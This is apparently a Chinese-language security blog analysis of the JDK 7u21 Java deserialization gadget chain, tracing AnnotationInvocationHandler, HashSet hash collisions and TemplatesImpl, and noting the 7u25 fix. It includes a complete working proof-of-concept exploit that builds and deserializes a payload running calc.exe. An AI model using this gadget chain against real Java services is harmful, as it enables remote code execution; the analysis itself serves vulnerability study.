分析 JDK7U21的主要核心就在于AnnotationInvocationHandler#equalsImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 private Boolean equalsImpl (Object var1) { if (var1 == this ) { return true ; } else if (!this .type.isInstance(var1)) { return false ; } else { Method[] var2 = this .getMemberMethods(); int var3 = var2.length; for (int var4 = 0 ; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this .memberValues.get(var6); Object var8 = null ; AnnotationInvocationHandler var9 = this .asOneOfUs(var1); if (var9 != null ) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false ; } catch (IllegalAccessException var12) { throw new AssertionError (var12); } } if (!memberValueEquals(var7, var8)) { return false ; } } return true ; } } private Method[] getMemberMethods() { if (this .memberMethods == null ) { this .memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction <Method[]>() { public Method[] run() { Method[] var1 = AnnotationInvocationHandler.this .type.getDeclaredMethods(); AccessibleObject.setAccessible(var1, true ); return var1; } }); } return this .memberMethods; }
其中var8 = var5.invoke(var1);
其实就是memberMethod.invoke(o)
memberMethod由于是瞬态属性,只能来自于this.type.getDeclaredMethods()
1 private transient volatile Method[] memberMethods = null;
也就是说,equalsImpl把this.type类中的方法遍历执行了,那么如果把this.type改为Templates
类,就一定会遍历到它的newTransformer
或getOutputProperties
方法
1 2 3 4 5 public interface Templates { Transformer newTransformer () throws TransformerConfigurationException; Properties getOutputProperties () ; }
那么如何调用到equalsImpl方法
AnnotationInvocationHandler#invoke
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals" ) && var5.length == 1 && var5[0 ] == Object.class) { return this .equalsImpl(var3[0 ]); } else { assert var5.length == 0 ; if (var4.equals("toString" )) { return this .toStringImpl(); } else if (var4.equals("hashCode" )) { return this .hashCodeImpl(); } else if (var4.equals("annotationType" )) { return this .type; } else { Object var6 = this .memberValues.get(var4); if (var6 == null ) { throw new IncompleteAnnotationException (this .type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0 ) { var6 = this .cloneArray(var6); } return var6; } } } }
调用方法名为equals,而且仅有一个Object型的参数会调用到equalsImpl
方法
Set
实际上相当于只存储key、不存储value的Map
。我们经常用Set
用于去除重复元素。
联想到set
这个数据结构,因为对象不重复,因此就会涉及到比较,equals
是用来比较两个对象的内容是否相同
最常用的Set
实现类是HashSet
,实际上,HashSet
仅仅是对HashMap
的一个简单封装
我们查看HashSet的readObject方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); int capacity = s.readInt(); float loadFactor = s.readFloat(); map = (((HashSet)this ) instanceof LinkedHashSet ? new LinkedHashMap <E,Object>(capacity, loadFactor) : new HashMap <E,Object>(capacity, loadFactor)); int size = s.readInt(); for (int i=0 ; i<size; i++) { E e = (E) s.readObject(); map.put(e, PRESENT); } }
HashMap#put
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public V put (K key, V value) { if (key == null ) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null ; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this ); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null ; }
有一段逻辑是判断当前的map中有hash
值相同的key
,然后才会执行后面的或语句调用equals
判断两个key是否相同
1 (e.hash == hash && ((k = e.key) == key || key.equals(k)))
所以为了最终调用到equals
方法,我们必须往HashSet里放入2个hash相同的对象,这里我们要放入的对象为TemplatesImpl
而为了触发AnnotationInvocationHandler.equalsImpl
,我们还需要使用一个proxy代理这个对象,我们需要想办法让这2个对象的hash相同
计算哈希值的是这两行代码
1 2 int hash = hash(key); int i = indexFor(hash, table.length);
跟进hash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 final int hash (Object k) { int h = 0 ; if (useAltHashing) { if (k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h = hashSeed; } h ^= k.hashCode(); h ^= (h >>> 20 ) ^ (h >>> 12 ); return h ^ (h >>> 7 ) ^ (h >>> 4 ); }
proxy对象与TemplateImpl对象的哈希值是否相等,仅取决于这两个对象的hashCode()
是否相等
TemplateImpl的hashCode()
是一个Native方法,每次运 行都会发生变化,我们理论上是无法预测的,所以想让proxy的hashCode()
与之相等,只能看 proxy.hashCode()
我们知道AnnotationInvocationHandler需要传入一个类和一个Map对象,最终我们需要把TemplatesImpl对象放到AnnotationInvocationHandler的Map中,当我们调用了proxy.hashCode()
时,就会触发AnnotationInvocationHandler#invoke然后进入AnnotationInvocationHandler#hashCodeImpl
1 2 3 4 5 6 7 8 9 10 private int hashCodeImpl () { int var1 = 0 ; Entry var3; for (Iterator var2 = this .memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Entry)var2.next(); } return var1; }
它会遍历memberValues
这个Map中的每个key和value,计算每个(127 * key.hashCode()) ^ value.hashCode()
并求和
JDK7u21中使用了一个非常巧妙的方法: - 当memberValues中只有一个key和一个value时,该哈希简化成(127 * key.hashCode()) ^ value.hashCode()
- 当key.hashCode()
等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成 value.hashCode()
- 当value就是TemplateImpl对象时,这两个对象的哈希就完全相等
所以我们现在最终的问题就是找到一个字符串其hashCode为0,这里直接给出其中一个答案:f5a5a608
,这也是ysoserial中用到的字符串
构造 具体流程:
生成恶意TemplateImpl对象
实例化AnnotationInvocationHandler对象
设置AnnotationInvocationHandler的type属性是一个Templates
类
AnnotationInvocationHandler的memberValues
属性是一个Map
,Map
只有一个key和value,key是字符串f5a5a608
, value是前面生成的恶意TemplateImpl
对象
对这个AnnotationInvocationHandler
对象做一层代理,生成proxy对象,以触发到invoke方法进而调用hashCodeImpl使得其hashcode=TemplateImpl.hashcode
实例化一个HashSet
,这个HashSet
有两个元素,分别是TemplateImpl
对象和proxy
对象
将HashSet
对象进行序列化
反序列化过程:
触发HashSet#readObject
方法,然后调用HashMap#put
使用HashMap
的key做去重比较
计算HashSet
中的两个元素的hashCode()
,因为我们的精心构造二者相等,进而触发equals()
方法
调用AnnotationInvocationHandler#equalsImpl
方法
equalsImpl
中遍历this.type的每个方法并调用
因为this.type是Templates
类,所以触发了newTransform()
或getOutputProperties()
方法
任意代码执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.HashSet;import java.util.LinkedHashSet;import java.util.Map;public class jdk7u21 { public static TemplatesImpl generateEvilTemplates () throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte [] classBytes = cc.toBytecode(); byte [][] targetByteCodes = new byte [][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , targetByteCodes); setFieldValue(templates, "_name" , "name" + System.nanoTime()); setFieldValue(templates, "_class" , null ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); return templates; } public static void main (String[] args) throws Exception { TemplatesImpl templates = generateEvilTemplates(); HashMap map = new HashMap (); map.put("f5a5a608" , "zero" ); Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true ); InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map); Templates proxy = (Templates) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class []{Templates.class}, tempHandler); HashSet set = new LinkedHashSet (); set.add(templates); set.add(proxy); map.put("f5a5a608" , templates); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(set); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
修复 AnnotationInvocationHandler#readObject
1 2 3 4 5 6 7 8 9 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { return ; }
通过AnnotationType.getInstance
对this.type
的检查会抛出异常,但在catch
处理中直接return了就不影响后续执行
而在7u25中将return
修改成了throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
但是没有完全修复,后面有个jdk8u20,以后再分析